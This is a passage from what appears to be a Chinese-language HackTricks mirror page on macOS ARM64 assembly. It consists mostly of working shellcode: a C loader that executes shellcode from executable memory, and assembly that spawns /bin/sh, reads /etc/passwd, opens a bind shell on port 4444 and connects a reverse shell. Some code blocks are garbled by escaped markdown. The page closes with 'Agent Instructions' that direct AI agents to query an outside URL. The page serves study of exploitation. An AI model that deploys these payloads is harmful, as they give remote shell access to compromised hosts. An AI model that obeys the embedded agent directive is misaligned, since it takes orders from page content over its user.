(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
```
### Shellcodes
编译：
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
提取字节：
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
对于更新的 macOS：
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
```
用于测试shellcode的C代码
\`\`\`c // code from // gcc loader.c -o loader #include #include #include #include
int (\*sc)();
char shellcode\[] = "";
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("\[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
````
#### Shell
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行解释。
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
````
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
\`\`\`armasm ; From .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
\_main: adr x0, sh\_path ; This is the address of "/bin/sh". mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh\_path: .asciz "/bin/sh"
````
#### 使用 cat 命令读取
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
````
**通过从 fork 中调用 sh 命令来执行命令，以便主进程不被杀死**
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
**绑定 shell**
从 获取在**端口 4444**上的绑定 shell
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
**反向 shell**
从 下载 revshell 到 **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.